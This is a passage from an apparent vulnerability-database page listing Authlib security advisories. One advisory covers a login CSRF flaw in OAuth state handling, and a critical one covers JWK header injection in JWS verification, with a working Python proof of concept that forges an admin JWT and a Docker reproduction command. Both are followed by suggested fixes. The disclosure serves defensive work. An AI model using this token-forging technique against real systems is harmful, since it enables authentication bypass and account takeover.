state = params.get("oauth_token")
if not state:
raise OAuthError(description='Missing "oauth_token" parameter')
data = self.framework.get_state_data(session, state)
if not data:
raise OAuthError(description='Missing "request_token" in temporary data')
params["request_token"] = data["request_token"]
params.update(kwargs)
self.framework.clear_state_data(session, state)
token = self.fetch_access_token(**params)
self.token = token
return token
```
*authlib/integrations/flask_client/apps.py:57-76*
This opens up an avenue for Login CSRF in applications that use cache-backed storage. Depending on the dependent application's implementation (e.g., whether it links accounts in the event of a login CSRF), this could lead to account takeover.
## Proof of Concept
Consider a hypothetical application — AwesomeAuthlibApp. Assume that AwesomeAuthlibApp contains internal logic such that, when an already authenticated user performs a `callback` request, the application links the newly provided SSO identity to the existing user account associated with that request.
Under these conditions, an attacker can achieve account takeover within the application by performing the following actions:
1. The attacker initiates an SSO OAuth flow but halts the process immediately before the callback request is made to AwesomeAuthlibApp.
2. The attacker then induces a logged-in user (via phishing, a drive-by attack, or similar means) to perform a GET request containing the attacker's state value and authorization code to the AwesomeAuthlibApp callback endpoint. Because Authlib does not verify whether the state token is bound to the session performing the callback, the callback is processed, the authorization code is sent to the provider, and the account linking proceeds.
Once the GET request is executed, the attacker's SSO account becomes permanently linked to the victim's AwesomeAuthlibApp account.
## Suggested Fix
Per the OAuth RFC [4], the state parameter should be tied to the user's session to prevent exactly such scenarios. One straightforward method of mitigating this issue is to continue storing the state in the session even when caching is enabled.
An alternative approach would be to hash the session ID (or another per-user secret derived from the session) into the cache key. This ensures the state remains stored in the cache while still being bound to the session of the user that initiated the OAuth flow.
## Resources
- [1] [flask_client/apps.py#L35](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L35)
- [2] [base_client/framework_integration.py#L33](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/base_client/framework_integration.py#L33)
- [3] [flask_client/apps.py#L57](https://github.com/authlib/authlib/blob/260d04edee23d8470057ea659c16fb8a2c7b0dc2/authlib/integrations/flask_client/apps.py#L57)
- [4] [RFC 6749 §10.12](https://www.rfc-editor.org/rfc/rfc6749#section-10.12) | ||
| critical | any | 1.6.9 | Authlib JWS JWK Header Injection: Signature Verification Bypass ## Description
### Summary
A JWK Header Injection vulnerability in `authlib`'s JWS implementation allows an unauthenticated
attacker to forge arbitrary JWT tokens that pass signature verification. When `key=None` is passed
to any JWS deserialization function, the library extracts and uses the cryptographic key embedded
in the attacker-controlled JWT `jwk` header field. An attacker can sign a token with their own
private key, embed the matching public key in the header, and have the server accept the forged
token as cryptographically valid — bypassing authentication and authorization entirely.
This behavior violates **RFC 7515 §4.1.3** and the validation algorithm defined in **RFC 7515 §5.2**.
### Details
**Vulnerable file:** `authlib/jose/rfc7515/jws.py`
**Vulnerable method:** `JsonWebSignature._prepare_algorithm_key()`
**Lines:** 272–273
```python
elif key is None and "jwk" in header:
key = header["jwk"] # ← attacker-controlled key used for verification
```
When `key=None` is passed to `jws.deserialize_compact()`, `jws.deserialize_json()`, or
`jws.deserialize()`, the library checks the JWT header for a `jwk` field. If present, it extracts
that value — which is fully attacker-controlled — and uses it as the verification key.
**RFC 7515 violations:**
- **§4.1.3** explicitly states the `jwk` header parameter is **"NOT RECOMMENDED"** because keys
embedded by the token submitter cannot be trusted as a verification anchor.
- **§5.2 (Validation Algorithm)** specifies the verification key MUST come from the *application
context*, not from the token itself. There is no step in the RFC that permits falling back to
the `jwk` header when no application key is provided.
**Why this is a library issue, not just a developer mistake:**
The most common real-world trigger is a **key resolver callable** used for JWKS-based key lookup.
A developer writes:
```python
def lookup_key(header, payload):
kid = header.get("kid")
return jwks_cache.get(kid) # returns None when kid is unknown/rotated
jws.deserialize_compact(token, lookup_key)
```
When an attacker submits a token with an unknown `kid`, the callable legitimately returns `None`.
The library then silently falls through to `key = header["jwk"]`, trusting the attacker's embedded
key. The developer never wrote `key=None` — the library's fallback logic introduced it. The result
looks like a verified token with no exception raised, making the substitution invisible.
**Attack steps:**
1. Attacker generates an RSA or EC keypair.
2. Attacker crafts a JWT payload with any desired claims (e.g. `{"role": "admin"}`).
3. Attacker signs the JWT with their **private** key.
4. Attacker embeds their **public** key in the JWT `jwk` header field.
5. Attacker uses an unknown `kid` to cause the key resolver to return `None`.
6. The library uses `header["jwk"]` for verification — signature passes.
7. Forged claims are returned as authentic.
### PoC
Tested against **authlib 1.6.6** (HEAD `a9e4cfee`, Python 3.11).
**Requirements:**
```
pip install authlib cryptography
```
**Exploit script:**
```python
from authlib.jose import JsonWebSignature, RSAKey
import json
jws = JsonWebSignature(["RS256"])
# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)
# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)
# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims) # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin" # PASSES
```
**Expected output:**
```
{'sub': 'attacker', 'role': 'admin'}
```
**Docker (self-contained reproduction):**
```bash
sudo docker run --rm authlib-cve-poc:latest \
python3 /workspace/pocs/poc_auth001_jws_jwk_injection.py
```
### Impact
This is an authentication and authorization bypass vulnerability. Any application using authlib's
JWS deserialization is affected when:
- `key=None` is passed directly, **or**
- a key resolver callable returns `None` for unknown/rotated `kid` values (the common JWKS lookup pattern)
An unauthenticated attacker can impersonate any user or assume any privilege encoded in JWT claims
(admin roles, scopes, user IDs) without possessing any legitimate credentials or server-side keys.
The forged token is indistinguishable from a legitimate one — no exception is raised.
This is a violation of **RFC 7515 §4.1.3** and **§5.2**. The spec is unambiguous: the `jwk`
header parameter is "NOT RECOMMENDED" as a key source, and the validation key MUST come from
the application context, not the token itself.
**Minimal fix** — remove the fallback from `authlib/jose/rfc7515/jws.py:272-273`:
```python
# DELETE:
elif key is None and "jwk" in header:
key = header["jwk"]
```
**Recommended safe replacement** — raise explicitly when no key is resolved:
```python
if key is None:
raise MissingKeyError("No key provided and no valid key resolvable from context.")
``` |
Get this data programmatically \u2014 free, no authentication.
curl https://depscope.dev/api/bugs/pypi/Authlib| fixed |
| osv:GHSA-m344-f55w-2m6j |
| fixed |
| osv:GHSA-9ggr-2464-2j32 |
| fixed |
| osv:GHSA-7wc2-qxgw-g8gg |
| fixed |
| osv:GHSA-7432-952r-cw78 |
| fixed |
| osv:PYSEC-2026-287 |
| fixed |
| osv:PYSEC-2026-1203 |
| fixed |
| osv:PYSEC-2026-1202 |
| fixed |
| osv:PYSEC-2026-1201 |
| fixed |
| osv:PYSEC-2026-1200 |
| fixed |
| osv:GHSA-w8p2-r796-3vmq |
| fixed |
| osv:GHSA-r95x-qfjj-fjj2 |
| fixed |
| osv:GHSA-g7f3-828f-7h7m |
| fixed |
| osv:GHSA-fg6f-75jq-6523 |
| fixed |
| osv:GHSA-wvwj-cvrp-7pv5 |